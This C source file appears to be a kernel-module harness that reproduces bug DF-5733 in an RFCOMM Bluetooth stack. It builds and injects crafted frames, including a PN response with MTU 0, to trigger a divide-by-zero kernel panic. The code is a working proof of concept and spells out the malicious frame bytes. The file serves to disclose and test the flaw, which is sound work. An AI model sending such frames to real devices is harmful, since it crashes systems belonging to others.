/*
 * harness.c -- KLD harness for DF-5733:
 *
 *   sys/netbt/rfcomm_session.c:1374-1385  (rfcomm_session_recv_mcc_pn,
 *   PN *response* path) stores an attacker-supplied MTU of 0 in
 *   dlc->rd_mtu because the validity check only rejects values
 *   > RFCOMM_MTU_MAX / > current rd_mtu -- there is no lower bound.
 *   When the credit-flow-controlled DLC later starts output,
 *   sys/netbt/rfcomm_dlc.c:341 evaluates
 *
 *        credits = (dlc->rd_rxsize / dlc->rd_mtu);
 *
 *   -> integer divide-by-zero -> kernel panic ("integer divide fault").
 *
 * The production files rfcomm_session.c / rfcomm_dlc.c / rfcomm_upper.c
 * are compiled into this module VERBATIM (copied from /usr/src/sys/netbt
 * by build.sh).  The L2CAP layer is stubbed (l2cap_stub.c); RFCOMM frames
 * from the "remote peer" are synthesized and injected straight into
 * rfcomm_session_input() -- the exact entry point the real L2CAP layer
 * uses (l2cap_upper.c calls proto->input(upper, m)).
 *
 * Fire with:   sysctl hw.rfcomm_fire=1     (as root)
 * Expected:    immediate kernel panic, "integer divide fault",
 *              backtrace shows rfcomm_dlc_start() <-- rfcomm_send()
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <netbt/l2cap.h>
#include <netbt/rfcomm.h>

extern struct l2cap_channel *harness_first_session_channel(void);

/*
 * Reversed CRC table as per TS 07.10 Annex B.3.5 -- copied verbatim from
 * sys/netbt/rfcomm_session.c so injected frames carry valid FCS octets
 * and pass rfcomm_session_input()'s FCS check.
 */
static const uint8_t crctable[256] = {
	0x00, 0x91, 0xe3, 0x72, 0x07, 0x96, 0xe4, 0x75,
	0x0e, 0x9f, 0xed, 0x7c, 0x09, 0x98, 0xea, 0x7b,
	0x1c, 0x8d, 0xff, 0x6e, 0x1b, 0x8a, 0xf8, 0x69,
	0x12, 0x83, 0xf1, 0x60, 0x15, 0x84, 0xf6, 0x67,
	0x38, 0xa9, 0xdb, 0x4a, 0x3f, 0xae, 0xdc, 0x4d,
	0x36, 0xa7, 0xd5, 0x44, 0x31, 0xa0, 0xd2, 0x43,
	0x24, 0xb5, 0xc7, 0x56, 0x23, 0xb2, 0xc0, 0x51,
	0x2a, 0xbb, 0xc9, 0x58, 0x2d, 0xbc, 0xce, 0x5f,
	0x70, 0xe1, 0x93, 0x02, 0x77, 0xe6, 0x94, 0x05,
	0x7e, 0xef, 0x9d, 0x0c, 0x79, 0xe8, 0x9a, 0x0b,
	0x6c, 0xfd, 0x8f, 0x1e, 0x6b, 0xfa, 0x88, 0x19,
	0x62, 0xf3, 0x81, 0x10, 0x65, 0xf4, 0x86, 0x17,
	0x48, 0xd9, 0xab, 0x3a, 0x4f, 0xde, 0xac, 0x3d,
	0x46, 0xd7, 0xa5, 0x34, 0x41, 0xd0, 0xa2, 0x33,
	0x54, 0xc5, 0xb7, 0x26, 0x53, 0xc2, 0xb0, 0x21,
	0x5a, 0xcb, 0xb9, 0x28, 0x5d, 0xcc, 0xbe, 0x2f,
	0xe0, 0x71, 0x03, 0x92, 0xe7, 0x76, 0x04, 0x95,
	0xee, 0x7f, 0x0d, 0x9c, 0xe9, 0x78, 0x0a, 0x9b,
	0xfc, 0x6d, 0x1f, 0x8e, 0xfb, 0x6a, 0x18, 0x89,
	0xf2, 0x63, 0x11, 0x80, 0xf5, 0x64, 0x16, 0x87,
	0xd8, 0x49, 0x3b, 0xaa, 0xdf, 0x4e, 0x3c, 0xad,
	0xd6, 0x47, 0x35, 0xa4, 0xd1, 0x40, 0x32, 0xa3,
	0xc4, 0x55, 0x27, 0xb6, 0xc3, 0x52, 0x20, 0xb1,
	0xca, 0x5b, 0x29, 0xb8, 0xcd, 0x5c, 0x2e, 0xbf,
	0x90, 0x01, 0x73, 0xe2, 0x97, 0x06, 0x74, 0xe5,
	0x9e, 0x0f, 0x7d, 0xec, 0x99, 0x08, 0x7a, 0xeb,
	0x8c, 0x1d, 0x6f, 0xfe, 0x8b, 0x1a, 0x68, 0xf9,
	0x82, 0x13, 0x61, 0xf0, 0x85, 0x14, 0x66, 0xf7,
	0xa8, 0x39, 0x4b, 0xda, 0xaf, 0x3e, 0x4c, 0xdd,
	0xa6, 0x37, 0x45, 0xd4, 0xa1, 0x30, 0x42, 0xd3,
	0xb4, 0x25, 0x57, 0xc6, 0xb3, 0x22, 0x50, 0xc1,
	0xba, 0x2b, 0x59, 0xc8, 0xbd, 0x2c, 0x5e, 0xcf
};

#define FCS(f, d)	crctable[(f) ^ (d)]

/* running FCS over n octets, then ones-complement, as the TX side does */
static uint8_t
fcs_octets(const uint8_t *b, int n)
{
	uint8_t f = 0xff;

	while (n--)
		f = FCS(f, *b++);

	return (0xff - f);
}

/*
 * upper-layer (socket) callbacks -- just log, like rfcomm_socket.c would
 */
static void up_connecting(void *u)  { kprintf("[upper] connecting\n"); }
static void up_connected(void *u)   { kprintf("[upper] connected\n"); }
static void up_disconnected(void *u, int e)
	{ kprintf("[upper] disconnected (%d)\n", e); }
static void *up_newconn(void *u, struct sockaddr_bt *l, struct sockaddr_bt *r)
	{ kprintf("[upper] newconn\n"); return NULL; }
static void up_complete(void *u, int n) { kprintf("[upper] complete %d\n", n); }
static void up_linkmode(void *u, int m) { kprintf("[upper] linkmode %d\n", m); }
static void up_input(void *u, struct mbuf *m)
	{ kprintf("[upper] input %d bytes\n", m->m_pkthdr.len); m_freem(m); }

static const struct btproto upper_proto = {
	up_connecting,
	up_connected,
	up_disconnected,
	up_newconn,
	up_complete,
	up_linkmode,
	up_input,
};

/*
 * Deliver an attacker ("remote peer") frame to the session exactly the way
 * l2cap_upper.c does: proto->input(upper, m).
 */
static void
inject(struct l2cap_channel *chan, const char *tag,
    const uint8_t *frame, int flen)
{
	struct mbuf *m;
	int i;

	kprintf("[harness] <- %s (%d bytes):", tag, flen);
	for (i = 0; i < flen; i++)
		kprintf(" %02x", frame[i]);
	kprintf("\n");

	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	if (m_copyback2(m, 0, flen, frame, M_NOWAIT) != 0) {
		kprintf("[harness] m_copyback2 failed\n");
		m_freem(m);
		return;
	}

	(*chan->lc_proto->input)(chan->lc_upper, m);
}

/*
 * Build and inject one RFCOMM frame.
 *   ctrl_frame: FCS over address+control+length (SABM/DISC/UA/DM)
 *   uih_frame : FCS over address+control only; info appended, then FCS
 */
static void
inject_ctrl(struct l2cap_channel *chan, const char *tag,
    uint8_t address, uint8_t control)
{
	uint8_t f[4];

	f[0] = address;
	f[1] = control;
	f[2] = 0x01;			/* len = 0, EA = 1 */
	f[3] = fcs_octets(f, 3);

	inject(chan, tag, f, 4);
}

static void
inject_uih(struct l2cap_channel *chan, const char *tag,
    const uint8_t *info, int ilen)
{
	uint8_t f[64];
	uint8_t hdr[2];
	int n;

	KKASSERT(ilen + 4 <= (int)sizeof(f));

	hdr[0] = 0x03;			/* DLCI 0, CR=1, EA=1 */
	hdr[1] = 0xEF;			/* UIH, PF=0 */

	f[0] = hdr[0];
	f[1] = hdr[1];
	f[2] = (uint8_t)((ilen << 1) | 0x01);	/* 7-bit len, EA=1 */
	memcpy(&f[3], info, ilen);
	n = 3 + ilen;
	f[n] = fcs_octets(hdr, 2);	/* UIH FCS: address+control only */

	inject(chan, tag, f, n + 1);
}

#define TEST_CHAN	3			/* server channel -> DLCI 6 */
#define TEST_DLCI	(TEST_CHAN * 2)	/* initiator: direction bit 0 */

static int
fire(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;
	struct rfcomm_dlc *dlc = NULL;
	struct l2cap_channel *chan;
	struct sockaddr_bt dest;
	struct mbuf *m;
	uint8_t msc[2];

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL)
		return err;
	if (v == 0)
		return 0;

	kprintf("=== DF-5733 harness: PN response MTU=0 -> divide by zero ===\n");

	/* credit pool (normally done from bt_proto.c domaininit) */
	rfcomm_init();

	/* local app: create an RFCOMM socket DLC, channel any-local */
	err = rfcomm_attach(&dlc, &upper_proto, NULL);
	KKASSERT(err == 0);

	/* upstream receive buffer of 4096 bytes (drives credit math) */
	rfcomm_rcvd(dlc, 4096);

	memset(&dest, 0, sizeof(dest));
	dest.bt_len = sizeof(dest);
	dest.bt_family = AF_BLUETOOTH;
	dest.bt_psm = L2CAP_PSM_RFCOMM;
	dest.bt_bdaddr.b[0] = 0x22;	/* "them" */
	dest.bt_channel = TEST_CHAN;

	err = rfcomm_connect(dlc, &dest);
	kprintf("[harness] rfcomm_connect -> %d; dlc %p dlci %d mtu %d state %d\n",
	    err, dlc, dlc->rd_dlci, dlc->rd_mtu, dlc->rd_state);
	KKASSERT(err == 0);

	chan = harness_first_session_channel();
	KKASSERT(chan != NULL);

	/* L2CAP channel established -> rfcomm_session_connected():
	 * session (initiator) sends SABM(0) and arms the ack timeout */
	kprintf("[harness] == L2CAP connected ==\n");
	(*chan->lc_proto->connected)(chan->lc_upper);

	/* remote peer: UA(0) -> session OPEN -> our DLC sends PN command */
	inject_ctrl(chan, "UA(0)  [session up]", 0x03,
	    RFCOMM_MKCONTROL(RFCOMM_FRAME_UA, 1));

	/*
	 * remote peer: PN *response* with MTU = 0 (and flow-control octet
	 * 0xe0 so credit flow control (CFC) is enabled on the session).
	 * struct rfcomm_mcc_pn is 8 packed octets.
	 */
	{
		uint8_t info[10];

		info[0] = 0x81;		/* MCC type: PN, cr=0 (response), EA=1 */
		info[1] = (8 << 1) | 1;	/* MCC len = sizeof(rfcomm_mcc_pn), EA=1 */
		info[2] = TEST_DLCI;	/* dlci */
		info[3] = 0xe0;		/* flow_control: credit flow on */
		info[4] = 0x00;		/* priority */
		info[5] = 0x00;		/* ack_timer */
		info[6] = 0x00;		/* mtu lo  <-- 0 */
		info[7] = 0x00;		/* mtu hi  <-- THE BUG */
		info[8] = 0x00;		/* max_retrans */
		info[9] = 0x00;		/* credits */

		inject_uih(chan, "UIH(0) PN response mtu=0", info, 10);
	}

	kprintf("[harness] after PN response: dlc->rd_mtu = %d  (poisoned!)\n",
	    dlc->rd_mtu);
	kprintf("[harness] session CFC = %d, dlc state = %d\n",
	    (LIST_FIRST(&rfcomm_session_active)->rs_flags & RFCOMM_SESSION_CFC)
		? 1 : 0, dlc->rd_state);

	/* remote peer: UA(DLCI) -> SABM accepted -> DLC opens (MSC sent) */
	inject_ctrl(chan, "UA(6)  [dlc up]",
	    (uint8_t)RFCOMM_MKADDRESS(1, TEST_DLCI),
	    RFCOMM_MKCONTROL(RFCOMM_FRAME_UA, 1));

	/* remote peer: MSC response (stops the mcc timeout) */
	msc[0] = (uint8_t)RFCOMM_MKADDRESS(1, TEST_DLCI);
	msc[1] = 0x8D;			/* EA=1, DV|RTC|RTR */
	{
		uint8_t info[4];
		info[0] = 0xE1;		/* MCC type: MSC, cr=0 (response) */
		info[1] = (2 << 1) | 1;
		memcpy(&info[2], msc, 2);
		inject_uih(chan, "UIH(0) MSC response", info, 4);
	}

	kprintf("[harness] dlc state = %d (6 = OPEN), rd_mtu = %d\n",
	    dlc->rd_state, dlc->rd_mtu);

	/*
	 * Local application writes ONE byte -> rfcomm_send() ->
	 * rfcomm_dlc_start() -> credits = rd_rxsize / rd_mtu  ==>  #DE
	 */
	kprintf("[harness] app sends 1 byte -> rfcomm_dlc_start()\n");
	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	{
		const uint8_t x[1] = { 'X' };

		if (m_copyback2(m, 0, 1, x, M_NOWAIT) != 0) {
			kprintf("[harness] copyback failed\n");
			m_freem(m);
			return 0;
		}
	}
	rfcomm_send(dlc, m);

	kprintf("[harness] NOTREACHED (expected divide-by-zero panic)\n");
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, rfcomm_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fire, "I", "fire DF-5733 PN-mtu0 divide-by-zero scenario");

static int
harness_mode(module_t mod, int type, void *data)
{
	return 0;
}

static moduledata_t harness_moddata = {
	"rfcomm_harness",
	harness_mode,
	NULL
};

DECLARE_MODULE(rfcomm_harness, harness_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
